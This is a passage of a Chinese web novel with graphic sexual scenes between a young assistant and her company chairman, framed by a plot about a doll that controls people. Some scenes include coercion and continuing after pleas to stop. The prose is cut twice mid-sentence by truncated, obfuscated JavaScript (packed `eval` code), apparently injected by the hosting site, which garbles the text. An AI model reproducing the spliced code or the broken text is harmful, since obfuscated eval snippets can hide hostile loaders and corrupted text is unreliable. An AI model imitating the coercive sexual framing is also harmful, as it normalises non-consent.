不用看也知道都是那个帖子里骂她的。 所以她点开了私信。 是上次那个萌新发给她的。 ——我看了一下你收藏的漫画,你似乎很喜欢年纪比你大的男性。 什么男性比我大的男性,那叫年上。 土鳖。 ——怎么了,想把你爸介绍给我? 池溪就是想要逗一逗他。根据他之前说的那些话,以及连个头像和id都不会改的操作,应该是个年纪不大的小孩。 那边沉默了很久,然后才发过来一条——你喜欢他? ——我才不喜欢,我都不认识你爸。 ——嗯。 ——嗯什么。 他没有继续这个话题,很显然,这个小屁孩舍不得把自己的爸爸介绍给她。 不过还真是惜字如金。装什么冷酷霸总,中二病到了吗? 在她刚要告诉他,姐姐讨厌的人刚好就是一个冷酷的王八蛋霸总,所以他最好不要在自己面前维持这个人设时。 对方直接发来一条链接。 池溪担心是什么诈骗网站,不敢点开。 ——什么。 对方过了很久才告诉她:——你应该会喜欢的一部漫画。 池溪犹豫再三还是点开了。 她庆幸自己点开了,否则就看不到这部完美符合她所有xp的漫画了。 世界上怎么能有如此完美的人体。 男主的身材好到她想要抱着手机舔屏幕。 而且剧情也很.... 不知道为什么,看着漫画里的男主,她不由自主地想到了沈决远。 和他很像。 虽然通篇都是肉,但剧情让池溪感到温暖。 女主和男主闹别扭,想要搬出去住,于是性格傲慢的男主第一次摆出低姿态...... 温暖,且不现实的漫画。世界上根本就不存在这种心软J硬的男人。 沈决远的心脏比石头还要硬。 不过池溪还是默默地点了收藏。 然后当她想要将平板收起来时,手机收到一条信息。 是沈决远发来的。 言简意骇的两个字。 ——进来。 23.第二十三章 池溪认命地收起手机,起身把门推开。 她几乎已经接受了沈决远的严厉。成为他的下属在某种意义上,显然是一件非常痛苦的事情。 池溪上次来的时候并没有像今天这样仔细地观察过,更没有机会亲自打一下这里的斯诺克。 沈决远似乎对这种娱乐消遣没什么兴趣。池溪每次看到他,都是在工作。剩余那些为数不多的时间则全部用来休息。 所以他没有女朋友这件事再正常不过,他根本就没有多余的时间去考虑这些事情。 池溪开门进去,深色原木地板看上去优雅贵气,简约的装修与家具更是透着一种清冷质感。玄关处放着一双没有使用的女性室内拖鞋,池溪知道是给自己准备的,所以脱掉脚上的运动鞋换上。 她看了一眼放在鞋柜上的那双男士皮鞋,最后傲娇地把自己鞋放在离它很远的地方。 这种像小学生闹别扭一样的幼稚非常符合她此时的心情。 她没有胆子公开和沈决远表达不满,所以只能用这种伤害不到他的方式来解气。 屋内的暖意大部分来自于左侧的仿真壁炉。 池溪往客厅看了一眼,只有藏在恒温酒柜内的灯带是亮着的,雕花实木的西式酒柜,旁边是小型冰吧。中岛上放着一杯剩下一半的红酒。 池溪想,或许他不久前还在这里喝酒。 “沈董?” 她喊了喊,无人应答。 没办法,她只能继续往前走。 走到某个有响动的房间外时,她停下脚步,房门是开着的。她听见里面传出声音,于是抬手敲了敲门。 没有得到回应,不过池溪现在只想赶紧完成他交代的任务然后远离他,于是在没有取得对方的同意下,还是推开门进去。 像他这样严谨的人连房门都忘了关,所以里面正在做的事情应该没什么隐秘性,就算被发现了也没关系。 于是池溪将门推开,才刚走进去,她就感受到一股带着热意的雾气。 她的脚步骤然停住。 隔着一层透明玻璃,恒温花洒里流出来的水从男人的头顶浇淋,打湿他黑色的短发,然后流入宽阔大块的背阔肌,最后没入性感的腰线之中。 他什么都没穿。 好吧,池溪在心里反驳自己,他在洗澡,当然什么都没穿。 池溪连连道歉,然后跑了出去。虽然不知道他有没有听见。 她站在外面忐忑不安地等待,不知道沈决远会怎么惩罚偷看自己洗澡的人。 天地良心,她绝对没有想要偷看他洗澡,分明是他自己洗澡不关门。 感觉鼻子里有什么东西流了出来,她急忙伸手去擦,同时抬起头。 温热的鼻血没骨气的被刺激出来了。 沈决远换上衣服出来时,池溪已经处理好自己的鼻血。万幸的是男人什么也没说,只是越过她,径直走向客厅。 池溪不知道事情为什么会迎来这样一个走向。她和沈决远坐在同一张桌子前,她的面前放着他亲自给她调制的饮品,颜色和很好看,味道也不错。 但她很局促,因为这张圆桌实在太窄,哪怕自己和他分别坐在一侧,可桌下的腿难免会碰到。 并且他的腿的长度太过惊人,池溪局促地收回双腿,仍旧无法避免地碰到。 她的腿几乎是紧贴着她的腿,柔软的裙摆哪怕隔着西裤都能感受到他大腿肌肉的发达与健硕。是池溪这种缺乏锻炼的纤细身材无法相比的。 “你似乎对我存在一些不满。” 他今天穿了件修身的黑色毛衣,他是厚肌,与斯文的薄肌相比,多了些压迫感和男人味。 池溪不太敢抬头看他:“没有...” 岂止是一些,简直是一吨。 一吨不满。 沈决远不太擅长和她这样的孩子打交道,她性格懦弱,所以会对任何人都多一层防备。指望她吐露真心是一件非常难的事情。 越是恐吓她,压迫她,她就会更用力地隐藏自己。 沈决远对伴侣的要求是成熟懂事。 至少不要在小事上浪费他的时间。他对于照顾对方的情绪不感兴趣。 但是现在,他因为这六岁的代沟而感到苦恼。 他不清楚池溪容量狭窄的大脑装的都是些什么,她为什么会突然难过,为什么会突然疏远他。 这是一个很难的命题。 “为什么不看我?” 男人的语气淡而从容,他的手放在她的腰上,她刚吃饱,小腹微微鼓起,薄薄的腰,甚至隐约可以看见胃的形状。 池溪低着头,手指快把桌布抠烂了。 从坐在他的对面,到坐在他的腿上,一切似乎都显得分外自然。 工作时间,她不在自己的工位上工作,却坐在董事长的腿上。 并且,她的裙摆被掀到腰上。 他的整个手掌拉开了她的内裤,此时贴着她无比私密的地方来回抚摸。 沈决远的手指和他的身高一样,长而有力,指腹和手掌的薄茧预示着他并非养尊处优的大少爷。 池溪抓着他的手臂,结实的肌肉,她根本无法拉开。脑子里回想起那部漫画的剧情,她不是将娃娃锁起来了吗,为什么还会.... 她低下头,手指在她眼前消失又出现,到了最后,她只看到男人的手掌和四根手指的指根。 他连腕表都没有摘。 到了最后,池溪抱着他不受控地哭出声,沈决远放慢动作,等她适应。 “忍耐一下,否则接下来会更疼。”他温声哄着她。 直到听见水声变得丰沛。 噗呲噗呲的淫靡水声响彻整个休息室。 池溪亲眼看见他的手指离开时,没了阻挡的水柱喷了出来。 池溪被他结实有力的手臂抱着,她靠在他的怀里,没了力气。 沈决远将她从客厅抱去卧室。 “是因为我那天让你搬出去,所以在生我的气吗?”他温和的语气和他此刻的动作形成了强烈对比。 池溪的腰下垫着两个枕头,她腹部以下高高抬起。 沈决远在她双腿两侧半跪着起身,将她的左腿放在自己肩上,挺腰进入:“我没有要赶你走。我知道你不想继续住在这里,会让你感到不自在,对吗?” 他的耐心和温柔让池溪想哭。让她羡慕的漫画剧情,居然这么快就在她身上上演。 “我没有,我只是......” “撒谎的不是好孩子,”他弯下腰,亲吻她胸口的柔软,像是在亲吻藏在里面的那颗心脏,“小河是好孩子吗? 池溪的脑子早就融化了,她不知道他为什么会知道自己的小名。 妈妈说,她五行缺水,池和溪都有了,就叫小河吧。 沈决远的沈和决也有水。 池溪在他的耐心引导下逐渐变得诚实:“不管去了哪里,我都是累赘。” “不要因为别人的看法否决自己。”他摸了摸她的脸。 池溪舒服地轻轻哼了哼,不自觉地勾住他的腰:“你的话也是吗?” 他只是笑了笑,并没有回答她的问题。 池溪躺下床上,双眼迷离地看着面前的景色。 男人腰部收紧,胸肌也随着他的动作微微颤动。 在进入的同时,他的手指放在那粒肿胀的凸起上用力地揉按摩擦。池溪受不住这种前后一起的双重刺激,身体骤然脱力,发软向下倒,被沈决远有力的手臂抱回来。 她的后背紧贴他的胸口。 她扭动身体求饶:“嗯啊....不行了。” “口是心非,明明咬的这么紧。”似乎是为了惩罚她撒谎,他更用力。甚至低头含住她的胸。 她轻哼,不忘反驳:“明明是你...太大了。” 他拍了拍她的屁股,温声提醒她:“放松,拔不出来了。” “放松...不会。” “你是希望它永远插-在里面吗?”他的手放在她的胸口,低下头,一口含住,他的舌头反复扫弄顶端,或许他是故意的,池溪想,因为□□声很大,他用手捏着下缘,嘴重重地含住。 池溪不知道自己是想推开他还是抱紧他让他继续。 她不知道该怎么放松。 沈决远凑到她耳边,故意威胁吓唬她:“如果我趁你不注意把套给摘了,我的□□就会全部射进你的子宫里,然后你会怀上我的孩子。” 池溪被吓到身体抖了抖,身体瘫软放松。 沈决远达成目的,继续前后动了起来。 不知道过了多久,久到池溪觉得自己失去意识晕过去几回,每次醒来他都在继续。 她对外国人已经产生了一种恐惧。 是只有沈决远才这么可怕吗。无论是体力还是持久力,他都可怕到像是安装了永远不会停歇的发动机一样。 池溪的嗓子早就喊哑了,她觉得自己的身体严重缺水,甚至开始慢慢变得干涩起来。在她以为终于要结束的时候,她看到沈决远打开了一瓶润滑油。 ...... 沙发不算宽敞,池溪担心掉下去,抱紧了沈决远。 她趴在他身上,脸枕着他的胸口。 她讨厌外国人,但大奶男除外。 沈司桥都可以为了她去打乳钉,为什么沈决远不行。还要在上面纹上她的名字。 似乎只有写下自己的名字才是自己的专属物。 她早就思想涣散了。 她想在他的胸口纹上自己的名字,左右两边都要,屁股也要纹,腿也要纹,此时埋在她体内的那个也要纹..... 池溪忘记了时间,只知道他们从客厅到房间,最后去了露台,最后回到房间。这期间沈决远甚至都没从她身上离开,他单手抱着她。 还没有到沈决远的极限,但到了小雨伞的极限。 全部用完了。 沈决远出来的时候,因为惯性,东西重重地抽打在她的小腹上。 池溪被打疼了,轻轻哼了一下。她的身体已经敏感到了极点,随便碰到身体的哪个地方都会有感觉。 沈决远没有离开,就保持这样的姿势抱着她,贴着她柔软的小腹蹭。他亲吻她的嘴唇,舌头纠缠她的舌头,在她的口腔里胡乱地搅:“我给你买了一套房子,离公司很近,你如果在家里住不习惯就搬出来吧。” 他知道她想要搬出去的念头很强烈,他不可能一直强迫她。 这种关心的语气池溪已经很久没有听到了。可能是进入贤者状态后,人的情绪就会变得很敏感,她突然很想哭。 “不用.....” “刚才进去的时候你也说不要。”他戳破她的嘴硬和伪装。 然后坐起身,穿上拖鞋下床。 身上什么也没穿,或许是想到待会洗澡也要重新脱掉。 池溪就这么看着他赤身走回房间,递给她一瓶开过的水。 他的身材简直就是艺术品,池溪不止一次这样觉得了。每一寸线条都绷着强悍的力量感。随着他此刻的走动,肌理间的深邃沟渠越发明显。 结实遒劲的肌肉,却又有着柔韧的弹性。手臂和腰部凸起的青筋性感勾人。这副性张力爆棚的身体,在过去的几个小时里是属于她的。 这个突如其来的想法让池溪的心脏被填满。 而且他的那里...是上翘型,充血状态下会贴着小腹,难免每次都能精准找到她的敏感点。 她红着脸想道。小口喝着水补充身体流失的大量水分。 沈决远已经进了浴室。 等他洗完出来时,池溪终于缓过来了。 池溪想,这人究竟一天要洗多少次澡。很显然,他的洁癖比她想象中更加严重。 可是明明有洁癖,刚才却用嘴和舌头给她舔了那么久。 不知道想到什么,池溪的脸再次红了。 男人身上的事后感很重,或许是因为身上还带着她的体温和气味,所以她罕见地感受不到他平时那种居高临下气场强大的审视。而是有种让人情不自禁想要依赖和靠近的安全感。 池溪之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他的动作很温柔。池溪想,这是她偷来的一场梦而已,既然梦已经开始了,就先享受一下吧。 处理好之后,沈决远让她在这里睡一会,休息好了再出去。 他替她将被子盖好,然后低头看腕表:“我凌晨一点有场跨国会议,大概四点才会走,所以你不用担心自己醒来之后公司只有你一个人。” 池溪的心被他这句话弄的暖暖的。 或许这就是成熟年上的魅力,随便一句话就能让她那颗悬浮不安的心脏落回实处。 “嗯!”她重重点头。 反正也是一场‘角色扮演’的梦,还不如好好享受。 她的样子很乖巧,甚至还主动索取了一个Goodbye Kiss,手臂勾着他的脖子,在他脸上留下一个吻。声音嗲里嗲气:“我会好好休息的。” 这是她第一次这么做。 沈决远喉结微动,随后从容地点头。 他摸了摸她的头:“嗯,有什么事情可以给我打电话。卧室的座机直接连通我的办公室。” 池溪没有注意到,他转身离开时,抬起的左手在被吻过的脸侧轻轻摸了摸。 池溪满足又怅然地缩进了被子里,耳边传来沈决远离开的关门声。 这道关门声不仅在告诉她,沈决远离开了这里,同时也在告诉她,这个温柔的梦该醒了。 池溪睡了几个小时,从这里离开不一定非要经过董事长的办公室,还有一道后门。 走出去往走拐就是楼梯。 为了避免碰到沈决远,池溪选择了走楼梯。当然没有一直走,走到下一层她就换乘了电梯。 没想到这个点了居然还有人在,微微正戴着眼镜加班。她是到家之后临时被叫回来的。 池溪有些心虚,担心被看出自己走路别扭。 好在微微并没有在意这个,而是提醒她看新闻。 “半个小时前出了个大新闻,网络全部瘫痪了,今天运维部都会叫回来加班了,我回来打打下手。” 原来在自己休息的这几个小时里还有能让整个网络都瘫痪的大事发生? 池溪好奇点开社交网站,占据整个新闻版面的是某个巨星今日凌晨被枪杀的消息。 凶手声称对方操控了他,并以这种方式和自己达成长期的性关系。 他说自己在解除这种精神控制后明白了一切,但是只要想起这些日子的经历就让他觉得恶心。他无论如何也接受不了自己和厌恶的人发生关系。 他说这是强-奸。 微微摇头:“估计又是一个吸嗨了产生幻觉的。” 她和池溪说:“我其实挺喜欢这个演员的,她的长相是我认为整个北美娱乐圈最精致的,可惜了。” 迟迟没有等来回应。 她推了推不断下滑的眼镜。 嘴里嘀咕,要是自己的鼻梁能和沈董一样挺就好了,这破眼镜也不至于一直下滑。然后抬头:“池溪,你怎么....” 话说到一半就停了。 因为她看到拿着手机的池溪正以一种惊恐的神情看着手机。 在警方提供的现场图中,她亲眼看见死者的床边放着一个和凶手拥有同一张脸的娃娃。 她的手在不断颤抖,冷汗顺着后背往下滴落。她如何也想不到,自己的身体在流失如此多水分的前提下,居然还能流出这么多汗。 刚换的上衣被冷汗打湿。 微微担忧地站起身,问她怎么了:“你流了好多汗。” “我我我.....没事啊,哈哈。”池溪硬挤出一个笑容来,但无论是僵硬的笑,还是无血色的脸,亦或是流了全身的冷汗,都让她的话显得很不可信。 微微刚要继续追问,部门外的电梯传出抵达楼层时的那一声‘叮’ 安静的走廊,沉稳厚重的脚步声朝部门的方向走了过来 池溪几乎可以立刻分辨出沈决远和其他人的脚步声。 头层牛皮的脚步声会比人造革的更低钝。 身材高大且肌肉密度大的人,脚步声也会更沉闷。 池溪被吓跑的魂瞬间回来了。 这条新闻似乎是在预示她的未来。 她毫不怀疑,沈决远的残忍程度是这个凶手的百倍千倍。 她或许会比新闻里的死者拥有更加可怕的下场。为什么那个摊贩老板没有告诉她,这个该死的娃娃是量产的。 24.第二十四章 池溪是个非常珍惜自己生命的人,于是她想也没想就在沈决远找到她之前逃出了公司。 那段时间关于巨星的凶杀案闹的沸沸扬扬,池溪每天都在担惊受怕之中,她一天之中需要检查二十遍那个上了锁的柜子。 直到出发去白沙湾岛那天,她还在纠结要不要把它带上。 她担心会有其他人进入她的房间,并发现这个娃娃。 人在做坏事之后难免会心虚。更何况她在这个家里本身就处于底层,她并不怀疑郑伯母会让佣人直接进去打扫。 于是她还是将那个娃娃带上了飞机。 这是她第一次搭乘私人飞机,也是她第一次享受这么高端贴心的服务。登机之后沈决远就去单独的休息室办公,让她自由活动。 池溪享受了调酒师专门为她调配的饮品,又体验了一把尊享级别的按摩和美容。 当她躺在机舱主卧床上,看着舷窗外的景色,不由得感叹一句人间值得。 抵达白沙湾岛是阴雨天,岛上没什么人。只有庄园的管家亲自开车过来迎接。池溪很少经历大场面,只能怯生生地跟在沈决远的身后。 男人垂眸看了她一眼,让司机将她身旁的行李箱搬上车。 他有事情要去处理,没办法带着她:“你可以先回庄园休息,如果无聊就让Nancy带你去附近逛一逛。” 池溪刚想问Nancy是谁,看到那位笑容温和的中年女性走了过来,她大概了解了:“哦...好的。” 很多时候,池溪的窝囊和乖巧是无法区分开的。 她就像是读书时期那种因为害怕逃课被发现,索性直接不逃的女学生。 此时低着头,沈决远说什么是什么。 男人的目光在她脸上停留几秒。 最后将腕表摘了,替她佩戴在右手上。 他的指腹是温热的,佩戴手表时,手指不可避免地握住她纤细的手腕。 “下雨天不要离海滩太近。” 池溪愣愣地看着那块全球只有一块的私人定制腕表出现在她的手腕上。顿时觉得自己扛着几座城市的gdp。 或许是她太久没回答,沈决远最后和她确认了一遍:“知道了吗?” 她回过神来:“听到了。” 沈决远坐上一台黑色轿车离开这里,池溪站在原地目送他离开。 Nancy带她去了这座岛上最大的购物中心。 她第一次看见如此多的昂贵珠宝出现在同一家店内。它们中有些是曾经作为拍卖会上成交金额最高的珠宝,有些则是百年没有露面的古董珠宝。 池溪看着镜子里刚做过皮肤管理,从头发到脚后跟,都完美到挑不出一丝瑕疵的自己。脖子上佩戴着的那条项链,据说上一次公开露面还是在六年前。 沉甸甸的鸽血红宝石,将她的皮肤衬地如雪一般白皙细腻。 她想,这些人肯定是看她跟着沈决远一起下的飞机,将她误会成他的女伴,所以才会以如此高的待遇对待她。 倘若被Nancy知道,自己和她一样,只是以助理的身份来到这个地方,她肯定会对她露出鄙夷的神情。 沈决远的‘查岗’电话是在一个小时后打来的。 池溪汇报自己的行程:“她带我来了一家珠宝店,那些柜员一直往我身上佩戴各种各样的珠宝,我想他们是误会了什么。” 沈决远并没有傲慢地轻嘲,而是用一种长辈的温和口吻询问她:“有喜欢的吗?” 池溪想,没有哪个女孩子能拒绝这么亮闪闪的珠宝。 更何况,是如此贵重的珠宝。 “都很好看。”她说。 “那就让他们全部包起来吧。我待会让Burton去接你们。” Burton是他的助理,或许是担心买的东西太多,她们两个女生没有这个力气。 甚至体贴地连这方面都考量到了。 池溪拿着手机,努力在脑子里面回想,她最近有看过类似的漫画吗。 年上霸总爱上三流院校毕业的我。 好吧,她看的每一部漫画几乎都带点这样的设定。 池溪喜欢上位者低头,类似灰姑娘情节。 同时她也知道,这种情节只存在漫画和小说里。 毕竟真正意义上的上位者,眼中是无法看见阶层太低的人,更别提爱上。 利用娃娃和他发生关系已经让池溪感到不安了,她根本不敢收下这么贵重的珠宝。 于是急忙回了一连串的不用。 试图唤醒沈决远被娃娃操控的理智。 但对方没有再回复会她。 Nancy已经让柜员将池溪试戴过的所有珠宝全部打包起来。 甚至连她多看了几眼的也一同打包。 Nancy笑容亲和:“能够看出来。valerius先生应该是感知到了您的不安。” 所以刚才那通电话是为了确定她的情绪,同时也是为了抚平她的不安? 池溪短暂地愣了一会。 沈决远安排的人很快就到了,他高大的身材很适合当苦力。此时动作自然地接过打包好的那些珠宝,自觉跟在后面。 池溪第一次享受这样的待遇,这栋楼甚至比她逛过的skp还要大。 上次去逛skp,还是在她刚被接回北城没多久的时间。父亲看了眼她行李箱里的东西,那些在淘宝买的均价一百多的衣服,在池溪看来其实并不廉价。 可是在周家,连家养的猫狗都不穿聚酯纤维。 那一刻,池溪感受到一种无处遁形的窘迫。 最后父亲‘周到’的让自己的二女儿带着这位长姐去逛街买点衣服。 说是带着她逛街,池溪想,拿她当丫鬟似乎更加贴切。她全程跟在后面拎包。她那个妹妹坐在vip接待室的真皮沙发上,拿着定制手册仔细挑选衣服上的纽扣和胸针。最后傲慢地指了指旁边的池溪,“随便给她拿两套衣服试试吧。” 池溪能够感受到她的敌意,但她清楚自己的身份。至少在他们眼中,自己是破坏他们父母感情外来者。 池溪换好衣服后,站在更衣室里,看着落地窗中的自己哭了出来。 她讨厌这个地方,她与这里格格不入。 她不是因为自己没办法亲自挑选衣服上的胸针和纽扣而难过,她是因为这件衣服穿在自己身上而难过。 思绪回转,池溪已经回到了庄园,管家亲自安排佣人将她今天购买的东西分别放入衣帽间内。 沈决远是晚上回来的。 池溪提前看过天气,晚上会有风暴,这种现象在岛上很常见。 晚饭时间,沈决远的手放在她的腿上,而池溪,此时更是直接坐在他的腿上。 ——被他抱上去的。 “Nancy的母亲是日本人,她遗传了她母亲的温顺性格,我想你们应该会聊得来。” 池溪抿了抿唇,爱国魂不知道什么时候就燃烧起来了:“我讨厌日本人。” 不是说她讨厌Nancy,她只是在反驳他的后半句。 沈决远略微抬眸,似乎是在思考她讨厌的原因。而后像是想明白了,低眉浅笑。 她有时候总有种无厘头的想法,沈决远并没有归咎于六岁的代沟中去。 某些方面来讲,她其实很笨。他厌烦蠢笨的人,因为不仅会让沟通变得麻烦,且这样的人身上基本没什么利用价值。 他的父亲也很蠢,但他的公司可以作为他进驻中国市场的跳板。 他策谋了几个月,已经完成多家公司的收购和生产线的垄断。 阅漫画无数的池溪始终没办法将此时的剧情和其中一部对上。她努力回想,或许是自己看了太多漏掉了。 醉酒后与大奶男秘书发生了关系? 惨遭男同骗婚的同妻睡了丈夫的年轻继父? 上山冒险被幽灵恶魔缠上? 池溪将近期看过的所有漫画迅速在脑海里过了一遍。 不记得漫画的剧情,就无法猜到接下来的剧情走向。 她只能祈祷自己没看过什么血腥的漫画。 “好了,先吃饭。”他隔着她的上衣摸了摸她平坦的小腹,里面除了装了一些在珠宝店里吃的茶点之外,什么也没有。 看着佣人将菜布好,池溪以为终于可以从沈决远的腿上下去了,结果这人八风不动,只是抬起左手,让她替自己把袖扣摘了,然后将袖口卷上去。 直到露出线条结实的小臂与手腕。 由于是在岛上,所以海鲜很新鲜,现捕现杀。 “这些都是你喜欢吃的。”他拿起筷子,夹给她一块三文鱼。 池溪的确喜欢吃海鲜,但这种吃法让她感到浑身不自在。 ——沈决远用筷子喂她。 □*□ 她的担忧完全不是空穴来风。 □**□ 池溪想的果然没错,等到喂她吃饱之后,沈决远终于开始了他的进食。 □*□ 池溪有气无力地弯下腰:“不...不行了,” 对于她的求饶男人不为所动,反而还因为她的抗拒,惩罚般地按着她的腰,巴掌狠狠掌掴她的臀部。 池溪在双重刺激下,眼前似有一道白光闪过,直接没了反抗的力气。 软趴趴地靠在他宽阔结实的肩上。手轻轻抓着他的手臂。哪里都是硬梆梆的肌肉。 他沉稳的叹息:“不仅年纪小,这里也窄得惊人...放松,Sweetheart。” 池溪感觉有什么东西要出来,疯狂踢他推他,身体挣扎扭动的幅度也比之前更大。 察觉到她反常的剧烈举动,沈决远非常没有松开她,反而站起身,取代了手指。 很顺利。 几乎是同一时间,她弓着腰:“啊啊——” 她的尖叫持续了很久,身体抖的像是搁浅在海边的鱼。沈决远根本没有给她喘息的机会。 甚至还为了防止她逃跑,他直接将她的腿盘到自己的腰上。 池溪一直在尖叫,她想,自己现在的样子一定很狼狈,她被刺激到嘴巴都合不拢,除了尖叫就是在大哭,无法控制的流出了口水,和眼泪混杂在一起。 她哭着求饶:“我..沈决远,不行了...我要死掉了。” “口是心非的坏孩子。”沈决远抓着她的手放在自己的胸口,随着他的动作,胸肌也在不断收缩震颤,“在这种时候,你是不是应该换一个称呼?” 她脑子一片空白:“沈....董?” 作为惩罚的巴掌狠狠拍在她的臀上,看来自己说错了。 她流出一滴眼泪来,可怜巴巴地改口:“老...老公?” 沈决远从容优雅地笑了,反问她:“虽然这个称呼也不错,但你确定你想叫这个吗?” 他慢慢地引导出她的真实想法。 于是池溪用难耐的泣音喊了一晚上的dad。 他呼吸稍显粗重,看来在这种时候,他们两个人的感受是一样的。不止池溪一个人舒服。 他低头亲她耳朵,“照顾过小婴儿吗,Sweetheart?” 池溪不知道他为什么会问这个,但她的理智早就没有了,只剩下身体在本能地点头:“照..照顾过。” “那你应该知道他们哭了应该怎么做。” 禁欲优雅的西装马甲已经脱掉了,严谨到一丝不苟的衬衫也脱掉了。 然后抱着她,让她将脸埋在自己的胸口。 这似乎是他安慰她的方式。哄这个不断哭泣的‘婴儿’的一种方式。 池溪埋在这个充满安全感和性张力、饱满壮硕的胸肌中间,情绪似乎真的得到了缓解。 □**□ --- 隔壁传来动静,池溪明显被吓到了,躲在他怀里的身体抖了抖。 沈决远告诉她:“是过来更换床垫和地毯的佣人,放心,她们很快就会离开,并且看不见这里。” 池溪想到这里脑袋嗡地一下炸开。她无法想象那些人看到卧室里的狼藉时,会怎么想她。 不清楚过了多久,池溪只知道结束之后,沈决远并没有带她去洗澡。而是让她以这种狼狈的样子躺在床上休息。 他则走到窗边点燃一支烟,高大壮硕的身形松弛随意,带着一种吃饱后的靥餍足。 他抽烟的样子很迷人。成熟男性典雅稳重的魅力,哪怕是抽烟也让人挪不开眼。 池溪陷入了事后的难过当中,其实沈决远刚才抱着自己哄了很久。她只是想到那个娃娃的事情。 她不知道自己为什么能如此心安理得的享受。 在性命面前,性真的这么重要吗? 池溪认为自己应该主动坦白。 但令她没想到的是,沈决远居然早就看穿她的内心想法。 “每次结束之后你都会露出类似的神情。”他走过来,丝毫不差地说出她的情绪变化,“愧疚,心虚。” 池溪不由得一惊,没想到他这么早就看出来了。 既然这样,还不如直接坦白了:“我..的确有话要和你说,但...” 很多时候池溪都会觉得,沈决远像是比别人多一双眼睛。他可以精准地看穿其他人的想法。 他太聪明了,聪明到让人害怕。 明明什么都知道,却总是以置身事外的姿态高高在上审视着一切。 那他知道娃娃的事情吗?他那么聪明?池溪心脏绷的更紧了:“我有一个秘密,我一直想告诉你,但我...” 他从容不迫地接过她的话:“你担心我生气,同时认为坦白你的秘密会让我生气,甚至是动怒。” 池溪愣住了,他为什么连这个都能知道。 沈决远轻掸烟灰,淡道:“既然这样,你为什么还要向我坦白?” 他总是能轻描淡写地让池溪彻底怀疑自己所有的想法。 她裹紧身上的毛毯:“可是....你难道不想知道真相吗?” 他反问她:“你说的这个秘密会对我造成什么利益上的损失吗?” 她摇头:“不会。” “既然不会对我造成利益上的损失,那这个真相就算不知道,对我也没有任何影响。” 他已经很直白地表态了,池溪却还处在愣神状态。 沈决远知道她的脑容量无法支撑她短暂的时间里同时消化太多内容。 她和自己平时有接触的人不同,她很单纯,也很愚蠢,需要更多的耐心。 沈决远抽完那支烟,径直走向她。 “把腿打开,然后抱紧。” 她被吓到回神:“还要...吗?” “距离天亮还有三个小时。”她没有反应,他便用膝盖强行分开她的腿,压在她的身上,“放心,这次我让人提前准备了两箱,不用担心不够用。” 第二天,池溪直接在家里睡了一整天。她根本没办法起床,甚至连早午餐都是佣人亲自送进来的。 她穿着真丝睡袍,坐在沙发上,身后是玻璃墙,风暴过去后,白沙湾岛迎来了好天气。池溪觉得这个地方真的很适合居住,晒着暖洋洋的阳光,闻着空气中混着淡淡花香的海风。连午餐都有人亲自做好了端上来。 池溪想,不是这个地方适合居住,是有钱了哪里都适合居住。 她突然明白爸爸为什么宁愿舍弃自尊也要入赘周家了。 当然,这里的明白不代表理解。她对于那个抛弃自己和妈妈的男人仍旧深感痛恨。 她喝着调养身体的血燕,仇富心里不合时宜地冒出来,该死的有钱人。 等她用完餐后,提着工具箱的服务人员走进来,对方穿着专业的工作装。 池溪愣了一下,然后在对方礼貌的笑容下,被平放在spa床上。单面可控的玻璃,此时被调节成了对内不可见。 这就是一次在普通不过的身体养护,池溪劝自己放宽心,不就是睡袍被人脱下,□□地躺在上面吗。 她闭着眼睛,希望她们不要注意到自己身上凌乱的痕迹。她觉得自己全身上下都被沈决远‘盖章’过了。 早起洗漱的时候,她甚至在自己的脚踝处发现了指痕和吻痕。 好在对方非常具有职业素养,在做完身体养护之后,Nancy贴心地拿来平板,让通过远程来选择今天想穿的衣服。 里面是她衣帽间的ar扫描图。 “您看下想穿哪一件?” 池溪抿了抿唇:“不用这样,我可以自己去.....” Nancy笑容意味深长:“Valerius先生离开时提醒过,您今天要多休息。” 倒也没有到这种程度... 池溪心里心虚,面上又燥热,总觉得大家都知道她昨天晚上在这个房间里做了些什么。 就像她每次听说身边有人怀孕,都会控制不住地算日子,他们是哪一天.... 想到这里,池溪深吸一口气,笑道:“我真的没事,昨天抱着电脑在书房里加班了一宿,没想到熬夜熬到那么晚,所以今天才会这个点醒。” 她逞强地站起身,脚下一软跌了下去。 好在被Nancy及时扶住,她笑容里带着理解:“您和Valerius先生的体型对比,的确会有些难受。习惯就好了,人体是有适应性的,那里也一样。” 那...那里?哪里? 池溪觉得自己害怕外国人的原因之一就是应付不了他们的直白。 “虽然这么说十分不尊重valerius先生,但我知道您肯定会替我保守秘密。”Nancy先将池溪架到道德高点,然后微笑着和她吐露心声,“我从很久之前就一直祈祷能够和Valerius先生睡上一觉。我第一次见到他的时候,是在战乱儿童收容所。” 他那次是作为慈善家Valerius去的,而不是企业家沈决远。 池溪从Nancy口中听到了另一个不同的沈决远。 距离她更远的沈决远。 因为他的到来让那个国家暂时停止了战争,他带着捐赠的救援物资来到那所他花钱修建的收容所。 那里收容的全部都是一些战乱遗孤。 他以一份合同和对方达成协定,只要住在那里,就可以免于战乱的侵害。那里是类似乌托邦的地方。 对于孩子们来说,这位叔叔与他们所信仰的耶和华没有区别。他每一次到来,都会给他们带来生的希望。 他捐赠的书籍和食物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而停在楼下的车,也不是专门为她准备的,而是在为了方便在她休息好了可以下楼时,直接将她送到自己身边。 池溪突然想到了家里每天运送新鲜食物的车。 而她就是被运送的新鲜食物。 安静和谐的气氛因为池溪的到来而显得更加安静。 有人正在和沈决远敬酒,他也刚好拿起酒杯打算碰回去,看到她之后,他放下酒杯,淡声询问:“休息好了?” 池溪愣愣地点头,感受着所有的目光都放在自己身上。 她从来没有见过类似的场面,这种巨大的压迫感是曾经陪着父亲去参加某个大人物的‘退休宴’时也没有体会过的。 见她有些不知所措,沈决远朝她伸手:“来我这里。” 池溪亦步亦趋地走过去,在他身旁的空位坐下。 沈决远没有让服务员再上一份餐具,而是动作自然地将自己用过的那一套推到她的面前:“用我的吧。” 池溪全程只剩乖乖点头。她的窝囊劲与这里格格不入,整个人局促紧绷。 如果此刻坐在她身边的是父亲,他恐怕又会用那种不满的语气批评她:“真是上不了台面,你不要丢了我和周家的脸。” 